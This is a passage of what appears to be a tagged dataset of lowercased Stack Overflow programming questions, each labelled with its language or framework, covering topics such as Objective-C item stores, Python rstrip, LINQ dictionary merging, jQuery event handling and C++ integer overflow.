(void)removeitem:(bnritem *)p {   [allitems removeobjectidenticalto:p]; }  - (nsarray *)allitems {   return allitems; }  - (void)moveitematindex:(int)from                 toindex:(int)to {   if (from == to) {     return;   }   // get pointer to object being moved so we can re-insert it   bnritem *p = [allitems objectatindex:from];    // remove p from array   [allitems removeobjectatindex:from];    // insert p in array at new location   [allitems insertobject:p atindex:to]; }  - (bnritem *)createitem {   bnritem *p = [bnritem randomitem];    [allitems addobject:p];    return p; } @end </code></pre>   bnritemstore.h   <pre><code>#import &lt;foundation/foundation.h&gt; @class bnritem;  @interface bnritemstore : nsobject {   nsmutablearray *allitems; }  + (bnritemstore *)defaultstore;  - (void)removeitem:(bnritem *)p;  - (nsarray *)allitems;  - (bnritem *)createitem;  - (void)moveitematindex:(int)from                 toindex:(int)to;  @end </code></pre>,objective-c
how use line.rstrip() in python   i am trying to read a file using python. this the my file test.txt:   <pre><code>hello world my name is will what s your name  </code></pre>   this is my python code:   <pre><code>fhand = open( test.txt ) for line in fhand:     line.rstrip()     print line </code></pre>   no matter whether i use <code>line.rstrip()</code>  the output is always as following:   <pre><code>hello world  my name is will  what s your name  </code></pre>   how can i output without the empty line using <code>rstrip()</code> like this    <pre><code>hello world my name is will what s your name  </code></pre>,python
ruby on rails: dynamically choose a class to search from  how do i have a variable such that sometime i can do   <pre><code>foo.find(id) </code></pre>   or sometimes   <pre><code>bar.find(id) </code></pre>   there not constants so .constantize won t work =\,ruby-on-rails
c# : merging the two dictionaries with respect to values using linq  i have two dictionaries in c#.    the two dictionaries and their calues are   <pre><code>dictionary&lt;int list&lt;string&gt;&gt; d1 = new dictionary&lt;int list&lt;string&gt;&gt;(); dictionary&lt;int list&lt;string&gt;&gt; d2= new dictionary&lt;int list&lt;string&gt;&gt;(); dictionary&lt;int list&lt;string&gt;&gt; d3 new dictionary&lt;int list&lt;string&gt;&gt;();   d1[1] = new list&lt;string&gt;{ a   b }; d1[2] = new list&lt;string&gt;{ c   d }; d1[3] = new list&lt;string&gt;{ e   f }; d1[4] = new list&lt;string&gt;{ h }; </code></pre>   where 1 2 3 and 4 are keys of dictionary d1   <pre><code>d2[1] = new list&lt;string&gt;{ a   b }; d2[2] = new list&lt;string&gt;{ c   d }; d2[3] = new list&lt;string&gt;{ e   f }; d2[4] = new list&lt;string&gt;{ g }; d2[5] = new list&lt;string&gt;{ b   h }; d2[6] = new list&lt;string&gt;{ f   l }; d2[7] = new list&lt;string&gt;{ z }; </code></pre>   where 1 2 3 4 5 6 and 7 are keys of dictionary d2    then the output dictionary contains this values    <pre><code>  d3[1] = { a   b   h }   d3[2] = { c   d }   d3[3] = { e   f   l } </code></pre>   <strong>note:      please take the input dictionary with values greater than 1.thats why  i am eliminating the d1[4]   d2[4] and d2[7]</strong>    here is my code :    <pre><code>         list&lt;int&gt; l_lsttempnets = new list&lt;int&gt;(d1.keys);         int l_ncount = 0;         for (int l_ndata = 0; l_ndata &lt; l_lsttempnets.count; l_ndata++)         {             d3.add(l_ncount  d1[l_lsttempnets[l_ndata]]);             l_ncount++;         }         l_lsttempnets = new list&lt;int&gt;(d2.keys);         for (int l_ndata = 0; l_ndata &lt; l_lsttempnets.count; l_ndata++)         {             d3.add(l_ncount  d2[l_lsttempnets[l_ndata]]);             l_ncount++;         }              list&lt;int&gt; l_lstouter = new list&lt;int&gt;(d3.keys);         list&lt;int&gt; l_lstinner = new list&lt;int&gt;(d3.keys);         for (int l_nouter = 0; l_nouter &lt; l_lstouter.count; l_nouter++)         {             if (d3.containskey(l_lstouter[l_nouter]) == false)                 continue;             list&lt;string&gt; l_lstoutervalue = d3[l_lstouter[l_nouter]];             l_lstoutervalue.sort();             if (l_lstoutervalue.count == 0 || l_lstoutervalue.count == 1)             {                 d3.remove(l_lstouter[l_nouter]);                 continue;             }             for (int l_ninner = 0; l_ninner &lt; l_lstinner.count; l_ninner++)             {                 if (l_lstouter[l_nouter] != l_lstinner[l_ninner])                 {                   if (d3.containskey(l_lstinner[l_ninner]) == false)                         continue;                  list&lt;string&gt; l_lstinnervalue = new list&lt;string&gt;(d3[l_lstinner[l_ninner]]);                     l_lstinnervalue.sort();                     for (int l_nouterdata = 0; l_nouterdata &lt; l_lstoutervalue.count; l_nouterdata++)                     {                         if (l_lstinnervalue.contains(l_lstoutervalue[l_nouterdata]))                         {                             for (int l_ninnerdata = 0; l_ninnerdata &lt; l_lstinnervalue.count; l_ninnerdata++)                             {                                 if (l_lstoutervalue.contains(l_lstinnervalue[l_ninnerdata]) == false)                                 {                                     l_lstoutervalue.add(l_lstinnervalue[l_ninnerdata]);                                  }                             }                             isexists = true;                             break;                         }                         else                         {                             isexists = false;                         }                     }                  }                 else                     isexists = false;                 if (isexists)                 {                     if (d3.containskey(l_lstinner[l_ninner]))                         d3.remove(l_lstinner[l_ninner]);                 }             }          } </code></pre>   is it possible using linq if you have any queries  plz let me know,c#
resttemplate post value can not pass  with resttemplate call interface  the interface can not accept the data  the code is as follows`   <pre><code>    map&lt;string object&gt; map = new hashmap&lt;string object&gt;();     map.put( name    xiaohong );      httpheaders headers = new httpheaders();     headers.setcontenttype(mediatype.application_json);     httpentity&lt;map&lt;string object&gt;&gt; httpentity = new httpentity&lt;map&lt;string object&gt;&gt;(map headers);      list&lt;httpmessageconverter&lt; &gt;&gt; coverterlist = new arraylist&lt;httpmessageconverter&lt; &gt;&gt;();     coverterlist.add(new mappingjackson2httpmessageconverter());     coverterlist.add(new stringhttpmessageconverter());     coverterlist.add(new formhttpmessageconverter());       string url =  http://127.0.0.1:8099/test/tput/xiaoming ;     resttemplate resttemplate = new resttemplate();     resttemplate.setmessageconverters(coverterlist);     responseentity&lt;object&gt; result = resttemplate.postforentity(url  httpentity  object.class);         @responsebody @requestmapping(value= /tput/{age}   method = requestmethod.post) public object testput(httpservletrequest request @pathvariable( age ) string age){      // name is null     string name = request.getparameter( name );     system.out.println(name);       map&lt;string object&gt; map = new hashmap&lt;string object&gt;();     map.put( name   name);     map.put( age   age);     return map; </code></pre>   ` can not get the value of  name  print the result :  null,java
how to change text colors prompt() method in javascript  how can i change text features   in javascript prompt method   for example make some words color different or stronger.,javascript
grid control for asp.net similar to dbgrid in windows forms  i have an erp system which has a lot of data entry screens like the one in the image. i want to shift my application from windows to web. i need any similar solution. i searched a lot on internet but i am getting the same gridview controls with edit/add buttons .   i have seen in many systems such as sap or wipro his they have web application but screen and data entry grid same like windows  <a href= https://i.stack.imgur.com/qxjcp.png  rel= nofollow noreferrer >image for data grid</a>,asp.net
understanding angular.js controller parameters  i m just starting to learn angular.js and i ve been looking at the <a href= http://angularjs.org/#wire-up-a-backend  rel= noreferrer >project.js in the  wire up a backend  example on the angular home page</a>.    i m confused about the parameters in the controller functions:   <pre><code>function listctrl($scope  projects) {   ...  }     function createctrl($scope  $location  $timeout  projects) {   ...  }  function editctrl($scope  $location  $routeparams  angularfire  fburl) {    angularfire(fburl + $routeparams.projectid  $scope   remote   {}).    then(function() {      ...    }); }   </code></pre>   these controller functions are called in the routeprovider  but none of the parameters are given.   <pre><code>$routeprovider.   when( /   {controller:listctrl  templateurl: list.html }).   when( /edit/:projectid   {controller:editctrl  templateurl: detail.html }).   when( /new   {controller:createctrl  templateurl: detail.html }).   otherwise({redirectto: / }); }); </code></pre>   the only thing i could find so far that possibly explains what s going is <a href= http://docs.angularjs.org/guide/dev_guide.services.injecting_controllers  rel= noreferrer > injecting services into controllers </a>  which explains <code>$location</code>  <code>$timeout</code>  but not parameters method <code>angularfire</code> and <code>fburl</code>.    my specific questions are:   <ol> <li> what can the controller parameters be  </li> <li> where are the controller functions called with their parameters  or the parameters are not called but are just stuff associated with the controller where the association occurs with lots of angular.js magic (if so  can i see the source code on github)  </li> <li> where is <code>angularfire</code> defined  </li> <li> how is the <code>fburl</code> in the parameter linked to:   <pre><code>angular.module( project   [ firebase ]).     value( fburl    https://angularjs-projects.firebaseio.com/ ).     factory ... </code></pre></li> <li> is there a place where i can see all the services  e.g. <code>$location</code> and <code>$timeout</code>  that angular.js provides  (i tried to find the list but failed.) </li> </ol>,angularjs
jquery add  <li></li>  and place cursor at the end of  <li>{cursor here}   example is here <a href= http://jsfiddle.net/abmjd2ze/4/  rel= nofollow >http://jsfiddle.net/abmjd2ze/4/</a>   <pre><code>&lt;textarea rows= 12  cols= 10 &gt;go to the end of text and press enter.&lt;/textarea&gt; </code></pre>   jquery   <pre><code>$( textarea ).keydown(function(ev){ if(ev.keycode == 13){  var caretpos = this.selectionstart;//detects cursor position before enter var textareatxt = this.value;//whole text of the textarea var txttoadd =  \n&lt;li&gt;&lt;/li&gt; ; $(this).val(textareatxt.substring(0  caretpos) + txttoadd + textareatxt.substring(caretpos) );//set new value of textbox var sepos = caretpos + txttoadd.length;//also detects some position  this.setselectionrange(sepos sepos-5);  }//if(ev.keycode == 13){ });//$( textarea ).keydown(function(ev){ </code></pre>   problem is with <code>this.setselectionrange(sepos sepos-5);</code>    as result i get   <pre><code>&lt;li&gt; {cursor here}&lt;/li&gt; </code></pre>   but want    <pre><code>&lt;li&gt;{cursor here} &lt;/li&gt; </code></pre>   if change to <code>this.setselectionrange(sepos sepos-6);</code>    then get   <pre><code>&lt;li {cursor here}&gt;&lt;/li&gt; </code></pre>   is it possible to add some short code to get the cursor in necessary position  if long code then better to leave as it is    <strong>solution</strong> oh  very simple solution just need to add <code>ev.preventdefault();</code> and i spend so much time to find solution... oh,jquery
rails: error messages without brackets  how can i display rails error messages without brackets and quotes     when a error message appears  it looks like:   <pre><code>[ please fill out domain ][ please fill out email ] </code></pre>   how can i remove the brackets and the quotes      <strong>model</strong>   <pre><code>validates :domain            :presence =&gt; { :message =&gt;  please fill out domain }            :uniqueness =&gt; { :message =&gt;  domain already registered   :case_sensitive =&gt; true } validates :email            :presence =&gt; { :message =&gt;  please fill out email }            :uniqueness =&gt; { :message =&gt;  email already registered   :case_sensitive =&gt; true } </code></pre>   <strong>controller</strong>    i m specify the url of the template (see <code>format.html</code>) cause i m using a different controller   <pre><code>def create    respond_to do |format|     # save form data     @login = login.new(params[:login])      # if validation fails  throw error messages     if !@login.save       flash[:error] = @login.errors.to_a if @login.invalid      end      # render landingpage     format.html { render :template =&gt;  landingpage/index  }     format.js { render :action =&gt;  create  }    end  end </code></pre>   <strong>create.js.erb</strong>   <pre><code>&lt;% if @login.errors.any  %&gt;   // error    var error_string =   ;   &lt;% @login.errors.values.each do |msg| %&gt;     error_string +=  &lt;%= msg %&gt; ;   &lt;% end %&gt;    $( #flash_messages ).html(error_string);  &lt;% else %&gt;  // no error &lt;% end %&gt; </code></pre>   <strong>view</strong>   <pre><code>&lt;div id= flash_messages &gt;&lt;/div&gt; </code></pre>,ruby-on-rails
how to get uiimagepickercontroller as first screen in tabbarapplication  how to open photo library in first screen as pushviewcontroller in tabbarapplication.,iphone
jquery  load()  repeating only in some occasions  i m new to jquery and having trouble with the  load()  function.   <pre><code>$(document).ready(function(){  // navigate to courses. $( ul#nav li a ).click(function(event){ var page = $(this).attr( href ); if(($(this).closest( ul ).attr( name ))== studentinfo ){     loadinfo(page); } return false; });  function loadinfo(page){     $( section ).load( studentinfo.php  function(){         $( #firstyear ).load( studentinformation.php # +page+ yearone );         $( #seconedyear ).load( studentinformation.php # +page+ yeartwo );         $( #thirdyear ).load( studentinformation.php # +page+ yearthree );         $( # +page).addclass( active );     }); }  $( #tabs div ).click(function(event){     loadinfo($(this).attr( id )); }); </code></pre>   the  tabs  <code>&lt;div&gt;</code> are added only when the page is loaded (i want to be able to navigate via menu bar and tab-like divs) everything works but my problem is that when i navigate using the menu bar <code>( $( ul#nav li a ) )</code> every click it repeats it double (first time once  second time twice  third time 4 times and so on...) i saw that people said that events might be piling up or something but i can t seem to solve it...,jquery
does from_ unixtime (unix_timestamp) support subquery   i am able to run this command on mysql    <pre><code>select from_unixtime(1395301163);  </code></pre>   and get the desired output. but when i try to run this:   <pre><code>select from_unixtime(select signuptime from abc where sno=1); </code></pre>   it gives me error.i think that  from_unixtime() method support only unixtime in int.is there any way i can convert unix timestamp from my column<code>(signuptime)</code> to normal timestamp.     i have this table named abc. it has three columns:    1.sno(bigint)<br> 2.expiry_date(big_int)-it contains unix_timestamp in bigint.<br> 3.status(varchar)    it has let s say 2 rows    <strong>1row</strong>   s.no-1   expirydate-1395301163 and status=active.    <strong>2ndrow</strong> s.no-2   expirydate-1195301203 and status=active.    so now i am want a query which compare expirydate of all rows with currentdate and if expirydate is less than current date <code>update status to inactive</code>.,mysql
is it possible to have html code reference something independent of filing system   i m not sure if i asked that question correctly but it was the best definition i could think of to explain what i m trying to do. to elaborate:    i ve written something and compiled it into an html document. the document references audio files that you can click on and have them play. it all works well  but only in the account i created the document on  and any other account or computer it can t reference the file.     the code below is  i think  the code it uses to reference one of the audio files on my hard drive which i found by opening the html document in a text editor.    <pre><code>&lt;p class= p3 &gt;&lt;a href= file:///users/ian/desktop/audio%20discussion%20.html/audio%20files/z/edits/flute%201.mp3 &gt;flute 1&lt;/a&gt;&lt;/p&gt; </code></pre>   is there any way to change that code so it always references the folder that the html document is contained in independent of whatever computer it s opened on     if it helps  the containing folder will always have the same hierarchy (which you can see in the code above)  the only thing that will change is the user (and the operating system  but if needed i could have several html documents  1 for windows  1 for osx and 1 for linux).    this html document won t be on the web and will be offline. i m trying to have the document self-contained and i haven t found anything that will allow me to do it but if this is possible i think it s a good idea. it sounds so simple but hey  what do i know.     does anyone know if it s possible to do,html
inner join for a query   i want to do a sql query and have some problems:   <ol> <li> i want to salect from table_1 the id s where parent_id is the value i have:    <code>select id from table_1 where parent_id =  x </code> </li> <li> i want to use the id s i got in 1. and     <code>select from table_2 where id =  the id s from query 1.</code> </li> </ol>,mysql
is it possible to get private variable value using class instance name   for example  i ve written a class called <code>length</code>:   <pre><code>class length { public:     void setvalue(float); private:     float value_; };  void length::setvalue(float newvalue) {     value_ =  newvalue; } void print(float value) {     std::cout &lt;&lt; value; }  void computestuff(float value) {     //do the computing }  int main() {      length width;     width.setvalue(5);     std::cout &lt;&lt; width; // &lt;-- this is actually just an example     //what i actually want is:     print(width); // print 5     //or perhaps even     computestuff(width);      return 0; } </code></pre>   now how to make <code>width</code> return <code>value_</code> or <code>5</code>,c++
can you specify a content file to be used as default in contentplaceholder   can you specify a page  for example  listevents.aspx  to be the default content source instead of default.aspx  if not  can i make it redirect from default.aspx to somewhere else,asp.net
jquery loop each <td> in <tr>  i have the jquery code below. basically trying to find the empty string in a td tag and add css to the tr tag  but it adds css to all rows not the row that has the empty string. thank you in advance.   <pre><code>$( #mytable &gt; tbody  &gt; tr ).each(function(){       var $nthis = $(this);      $( td:first-child ).each(function() {         var $firsttd = $(this);         console.log($firsttd.text());     });  //back in the &lt;tr&gt; level if ($firsttd.text() ==   )     $nthis.css( border-top   solid 2px blue );   }); //end of main func </code></pre>,jquery
i m having some trouble with my switch statement  ok so i ve been programming for a short time and i ve already started making pretty nice programs. but when it comes to switches it s always luck when they actually work. i wrote this switch statement:   <pre><code>string answer1 = in.nextline();  switch (answer1) { case 1:         system.out.println( ... );         break; case 2:         system.out.println( ... );         break; case 3:         system.out.println( ... );         break; } </code></pre>   and the switch labels next to the cases all said  error cannot convert from int to string  could someone please help. thanks   noob programmer~ chase,java
iphone - skproductsrequest and  message sent to deallocated instance   i got troubles implementing inapppurchase. my implementation of purchase is in modal view controller (appupgradeviewcontroller)  that i present from another modal view. i do it like this:   <pre><code>appupgradeviewcontroller * appupgradeviewcontroller = [[appupgradeviewcontroller alloc] init]; appupgradeviewcontroller.modaltransitionstyle = uimodaltransitionstylecrossdissolve; appupgradeviewcontroller.delegate = self; [self presentmodalviewcontroller:appupgradeviewcontroller animated:yes]; [appupgradeviewcontroller release]; </code></pre>   then  in my upgrade view i do the following:   <pre><code>[[skpaymentqueue defaultqueue] addtransactionobserver:self]; nsset *productidentifiers = [nsset setwithobject:kinapppurchaseproupgradeproductid]; self.productsrequest = [[skproductsrequest alloc] initwithproductidentifiers:productidentifiers]; self.productsrequest.delegate = self; [productsrequest start]; </code></pre>   then i have implemented    <pre><code>- (void)productsrequest:(skproductsrequest *)request didreceiveresponse:(skproductsresponse *)response </code></pre>   where i do:   <pre><code>[self.productsrequest release]; </code></pre>   and then i have other required methods.    the problem is when i show modal  and quickly dismiss it then after few seconds i got the following on console (i turned on nszombieenabled):   <pre><code>*** -[appupgradeviewcontroller respondstoselector:]: message sent to deallocated instance 0x2e91f0 </code></pre>   i suppose that it s something with that product request  but i don t know how to debug or fix it. it seems that the answer for request comes to this controller just after it s dismissed (and deallocated)  but i don t know how to prevent it from receiving messages after dismiss/dealloc. thanks for any help!,iphone
iphone: start or download app if not exists from safari  i know its possible to open an app from mobile safari using custom url handlers.    is it possible to open the app store from safari on the iphone and automatically install the app     or might it even be possible to open the app if it exists on the users device and to download it if it doesn t     best  heinrich,iphone
how can i validate credentials in gmail   i am trying to work in python to make a function that you give two parameters  checks them on gmail  and returns 1 or 0 if you could login with it. for example    <pre><code>validate( realmail@gmail.com   correctpass ) -&gt; this is 1 validate( wrong@gmail.com   incorrectpass ) -&gt; this is 0 </code></pre>   how can i make this  i can t understand even where to begin.,python
resources$notfoundexception: resource is not a drawable (color or path)   i have a textview  when it is clicked  i am populating a listview inside a dialog. this code used to work fine  but today it is throwing exception.     this is my code:   <pre><code>tvselectedfont = (textview)findviewbyid(r.id.lblquoteselectedfont);     tvselectedfont.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {              listview listview = new listview(context);             listview.setadapter(new arrayadapter&lt;string&gt;(context  android.r.layout.simple_list_item_1                      new string[] { default    serif    monospace }));             final dialog dialog = new dialog(context);             dialog.setcontentview(listview);             dialog.settitle(r.string.txt_settings_quotefontname);              listview.setonitemclicklistener(new adapterview.onitemclicklistener() {                 @override                 public void onitemclick(adapterview&lt; &gt; parent  view view  int position  long id) {                     string selectedtypeface = ((textview)view).gettext().tostring();                     tvselectedfont.settext(selectedtypeface);                     switch(selectedtypeface)                     {                         case  serif :                             selectedquotetypeface = typeface.serif;                             break;                         case  monospace :                             selectedquotetypeface = typeface.monospace;                             break;                         default:                             selectedquotetypeface = typeface.default;                             break;                     }                     tvquotetextsample.settypeface(selectedquotetypeface  selectedquotefontstyle);                     dialog.dismiss();                 }             });              dialog.show();         }     }); </code></pre>   the logcat error shows this:   <pre><code>device driver api version: 29 user space api version: 29 03-17 14:33:24.701  23220-23220/com.example.manas.dailyquoteswidget e/﹕ mali: revision=linux-r3p2-01rel3 build_date=tue jul 22 19:59:34 kst 2014 03-17 14:33:27.926  23220-23220/com.example.manas.dailyquoteswidget e/androidruntime﹕ fatal exception: main process: com.example.manas.dailyquoteswidget  pid: 23220 android.content.res.resources$notfoundexception: resource is not a drawable (color or path): typedvalue{t=0x2/d=0x7f0100a7 a=3}         at android.content.res.resources.loaddrawable(resources.java:3415)         at android.content.res.typedarray.getdrawable(typedarray.java:602)         at android.widget.abslistview.&lt;init&gt;(abslistview.java:1089)         at android.widget.listview.&lt;init&gt;(listview.java:152)         at android.widget.listview.&lt;init&gt;(listview.java:148)         at android.widget.listview.&lt;init&gt;(listview.java:144)         at com.example.manas.dailyquoteswidget.dailyquoteswidgetconfigureactivity$6.onclick(dailyquoteswidgetconfigureactivity.java:182)         at android.view.view.performclick(view.java:4640)         at android.view.view$performclick.run(view.java:19425)         at android.os.handler.handlecallback(handler.java:733)         at android.os.handler.dispatchmessage(handler.java:95)         at android.os.looper.loop(looper.java:146)         at android.app.activitythread.main(activitythread.java:5593)         at java.lang.reflect.method.invokenative(native method)         at java.lang.reflect.method.invoke(method.java:515)         at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:1283)         at com.android.internal.os.zygoteinit.main(zygoteinit.java:1099)         at dalvik.system.nativestart.main(native method) </code></pre>   cant figure it out the problem. any help please,android
how to add a new java project in hadoop using eclipse   as i am doing project in hadoop. i want to know how to add a java project in eclipse plugin in hadoop with steps. and also i wanted to know  how does the output we run as java application will display,java
how to perfom action only after animate is finished   i have my code:   <pre><code>$(this).attr( disabled   disabled ); $(this).animate({ opacity : 0.6 }  200); $(this).animate({ opacity : 1 }  200); $(this).attr( disabled    ); </code></pre>   i want that the input would be disabled when the <code>keypress</code> ed and it would be enabled only then  when the animation would be executed.    how can i do that     edit: i just realized i could do like that: <code>$(this).delay(200).attr( disabled    );</code>. is it good practice,jquery
what is the correct place to put delegate in mvvm  if we say that view and view controller can be considered as view in mvvm  then shall we use delegates in modelview (which is for business logic).,objective-c
css orientation iphone  need a code which will change the properties of the divs  depending on the location of the device iphone. before this code to work now stopped doing that    <pre><code>@media all and (orientation:portrait) {    .portarait {display:block;}   .landscpace {display:none;} }  @media all and (orientation:landscape) {    .portarait {display:none;}   .landscpace {display:block;} } </code></pre>,css
why a js function returns different results in c++   a riddle:    you have 3 catalogs. each of them contains 2 catalogs. each of those catalogs contains 1 catalog  and those are empty. how many catalogs do you have     i wrote a javascript function to solve it…   <pre><code>function catalogsnumber(c) {      n = 0;      for (a = 0; a &lt; c; a++) {         n = (n + 1) * (a + 1);     }      return n; } </code></pre>   …and it returns correct results:   <pre><code>// results in javascript catalogsnumber ( 3 ) =&gt; 15 catalogsnumber ( 4 ) =&gt; 64 catalogsnumber ( 5 ) =&gt; 325 catalogsnumber ( 12 ) =&gt; 1302061344 catalogsnumber ( 13 ) =&gt; 16926797485 catalogsnumber ( 14 ) =&gt; 236975164804 </code></pre>   but when i tried the same in c++  the function returned strange results every time when <code>c &gt; 12</code>:   <pre><code>int catalogsnumber(int c) {     int i  n = 0;      for (i = 0; i &lt; c; i++) {         n = (n + 1) * (i + 1);     }      return n; }  // results in с++ catalogsnumber ( 3 ) =&gt; 15              // correct catalogsnumber ( 4 ) =&gt; 64              // correct catalogsnumber ( 5 ) =&gt; 325             // correct catalogsnumber ( 12 ) =&gt; 1302061344     // correct catalogsnumber ( 13 ) =&gt; -253071699     // ¯\_(ツ)_/¯ catalogsnumber ( 14 ) =&gt; 751963524      // ¯\_(ツ)_/¯ </code></pre>   such a riddle  very mystery. why does it happen,c++
cannot insert background image in table in html  this code works:   <pre><code>&lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;body  background = images.png &gt;   &lt;table&gt;     &lt;tr&gt;       &lt;td&gt;100&lt;/td&gt;     &lt;/tr&gt;   &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   i can see the repeated image. but following doesn t.i see no image.   <pre><code>&lt;html&gt; &lt;head &gt; &lt;/head&gt; &lt;body&gt;   &lt;table background = images.png &gt;     &lt;tr&gt;       &lt;td&gt;100&lt;/td&gt;     &lt;/tr&gt;   &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
how do i put 3 conditions into an if statement. on must be true  then one of the next two must be true  i m trying to put 3 conditions into an if statement but am stuck.  its a piece of a program where i am required to find out if the year entered in the joptionpane is a leap year. to be true  the number in variable iyear must be divible by 4. it must also be divisible by one either 100 or 400 to be true.     heres what i have right now but outputs are coming back false even on leap years so i must be coding something wrong.    <pre><code>if ((iyear % 4 == 0) &amp;&amp; (iyear % 100 == 0) || (iyear % 400 == 0){     blnleapyear = true; } else {     blnleapyear = false; } </code></pre>,java
form key or value length limit 2048 exceeded  i am using asp.net core to build api. i have a request that allow user to upload profile image using this code   <pre><code> [httppost( {company_id}/updatelogo )]         public async task&lt;iactionresult&gt; updatecompanylogo(iformfile imgfile int company_id)         {             string imagename;             // upload file             if (imgfile == null || imgfile.length == 0)                 imagename =  default-logo.jpg ;             else             {                 imagename = guid.newguid() + imgfile.filename;                 var path = _hostingenvironment.webrootpath + $@ \imgs\{imagename} ;                 if (imgfile.contenttype.tolower().contains( image ))                 {                     using (var filestream = new filestream(path  filemode.create))                     {                         await imgfile.copytoasync(filestream);                     }                 }             } . . </code></pre>   but it keeps returning this exception: <code>form key or value length limit 2048 exceeded</code><br> <strong>the request</strong> <br> <a href= https://i.imgur.com/25b0qkd.png  rel= nofollow noreferrer >http://i.imgur.com/25b0qkd.png</a><br>    <strong>update:</strong><br> i have tried this code but it doesn t work   <pre><code>    services.configure&lt;formoptions&gt;(options =&gt;     {         options.valuelengthlimit = int.maxvalue; //not recommended value         options.multipartbodylengthlimit = long.maxvalue; //not recommended value     }); </code></pre>,asp.net
html tags in objective c programming  is there any function in objective-c to print a list of elements as unordered html elements. for ex - [@ a--b-c---d  htmllist: @ -- ] returns @  <ul><li>a</li><li>b-c</li><li>-d</li></ul>     the  --  is the delimiter to seperate the string of elements. i have used nssarray to store the input string and function componentsseperatedbystring:@ --  to get the elements. how do i go ahead in adding the html tags li and /li between elements and ul and /ul at the end of the entire list,objective-c
is .net supporting changes on a running desktop app   i m wondering if there is something like hotswap/hotdelpoy/jrebel (known from java world) in .net desktop applications (no stateless webapps)     as an example you change a functionality in the ide while the program is running and the changes are instantly reflected in the running app    do .net programmer need to restart the app on every change to validate it,.net
how to cleanly interact with nested class in java   how can one store &amp; access attributes in the following way in java    <pre><code>innertest it = new innertest(); it.id =  123 ; it.user.userid =  456 ; </code></pre>   the following code does not do what is desired  but it offers a backdrop for the question:   <pre><code>public class innertest {     public string id;     static class user {         static string username;         static string userid;     } } </code></pre>   in case my approach is way off  the exercise is to store a json architecture in a class  but access it simply as given above. i am creating a class for tweets  and one inner group of attributes is under  user :   <pre><code>[...]   in_reply_to_user_id  : null     in_reply_to_user_id_str  : null     in_reply_to_screen_name  : null     user  : {      id  : 19792676       id_str  :  19792676        name  :  (((payne¯\\_(ツ)_/¯)))   [...] </code></pre>   i am looking for a way to elegantly represent in my class  use those inner variables  as in:   <pre><code>foo.user.id_str ... </code></pre>   is a type of nested/anonymous class correct  it doesn t look like it is-even with static modifiers...,java
copy data between tables using create table with select  i have aitisi (id  name1  surname1  father1  birthdate1  name2  surname2  father2  birthdate2... to 5  cost  begins  expires  plan  address  phone  city  zip) and i want to copy the surnamex  namex  fatherx  birthdatex (x= 1 to 5) columns to a new table members (id  tid  name  surname  father  birthdate) where tid is a lookup key to table1.id    i tried with mysql but didn t get it right so i finally did id with php:   <pre><code>$query_aitisi =  select * from aitisi order by id asc ; $aitisi = mysql_query($query_aitisi  $connection) or die(mysql_error()); $row_aitisi = mysql_fetch_assoc($aitisi); $totalrows_aitisi = mysql_num_rows($aitisi);  do {   for($i=1; $i&lt;=5; $i++){     if ($row_aitisi[ on_te .$i]&lt;&gt;  ) {      $query_copy =  insert into members (symbid  name  surname  father  birthdate)      values (  .$row_aitisi[id].     .$row_aitisi[ surname .$i].     .$row_aitisi[ name .$i].     .$row_aitisi[ father .$i].     .$row_aitisi[ birthdate .$i].  ) ; $copy = mysql_query($query_copy  $connection) or die(mysql_error());     }   } } while ($row_aitisi = mysql_fetch_assoc($aitisi)); </code></pre>   however  i d really like to know the proper use of a  create table as select  statement for future use. anybody  thanks!,mysql
is wifi connection between iphone and any other electronic device possible  is it possible to connect an iphone with any electronic devices through wi-fi  and receive signals from it. i m currently looking into a sample app with udpecho  but it is for mac.,iphone
event + handler  how can i create same action like have uibutton or other ui controllers    <pre><code>uibutton *button = [uibutton buttonwithtype:uibuttontyperoundedrect]; [button addtarget:self action:@selector(buttonclicked) forcontrolevents:uicontroleventtouchupinside]; [view addsubview:button];  ...  - (void)buttonclicked { // handler } </code></pre>   i would like to have a class which can call a custom handler. how can i create this class and how can i add a custom handler  (i would like same idea with buttonclicked.)   <hr>   chuck  that s exactly what i asked! thank you! one more things  how can i send one argument to my action. i would like have one nsstring parameter in my handler    i would like something like this (but it s not work):   <pre><code>@interface example : nsobject {     id target;     sel action; }  - (id)initwithtarget:(id)targetobject action:(sel)runaction; - (void)activate; @end  @implementation example - (id)initwithtarget:(id)targetobject action:(sel)runaction {     if (self = [super init]) {         target = targetobject;         action = runaction;     }     return self; }  - (void)activate {     [target performselector:action withobject:self withobject: @ my message ]; } @end  @interface examplehandler : nsobject {  }  -(void):init; -(void)myhandler:(nsstring *)str;  @end  @implementation examplehandler  -(void)init {     [super init];     example *ex = [[example alloc] initwithtarget: self action: @selector(myhandler) ];  }  -(void)myhandler:(nsstring *)str {     nslog(str); }  @end </code></pre>,objective-c
structure with array of function pointer <pre><code>#include &lt;stdio.h&gt;  void getsum(); void getdifference();  typedef void (*functionptr)();  // assign the function s address functionptr arrayfp[2] = {getsum  getdifference};  struct true {     int a;     int b;     functionptr arrayfp[2]; //syntax may be wrong  } w = { 5  6  arrayfp[0] };  int main() {     w.arrayfp[0];    //syntax is wrong      return 0; }  void getsum() {     printf( i am the greatest ); }  void getdifference() {     printf( i am not the greatest ); } </code></pre>,c
how to clear all input fields in a specific div with jquery   i am trying to use jquery to do a simple thing: clear the input fields of a group of input field within a div whenever the form loads  or if the user changes a picklist; but i m having a devil of a time getting the selector to work.     first  here s my onclick and onload triggers:   <pre><code>&lt;form name= editgenotype  action= process_genotypemaint.php  method= post  onsubmit= return false  onload=clear_fetch() &gt; </code></pre>   and on the picklists:   <pre><code>&lt;select multiple size=6 name= marker  onchange=show_marker() onclick=clear_fetch() &gt; </code></pre>   next  here s my html input elements in the div i want to clear:   <pre><code>  &lt;div class=fetch_results&gt;       &lt;fieldset&gt;     &lt;legend&gt;&lt;b&gt;edit genotype  call 1&lt;/b&gt;&lt;/legend&gt;       &lt;boldlabel&gt;allele_1&lt;/boldlabel&gt;&lt;input id=allele_1_1 name=allele_1_1 size=5 &gt;       &lt;boldlabel&gt;allele_2&lt;/boldlabel&gt;&lt;input id=allele_1_2 name=allele_1_2 size=5 &gt;       &lt;boldlabel&gt;run date&lt;/boldlabel&gt;&lt;input id=run_date1 name=run_date1 size=10 disabled=true&gt;       &lt;/fieldset&gt;       &lt;fieldset&gt;     &lt;legend&gt;&lt;b&gt;edit genotype  call 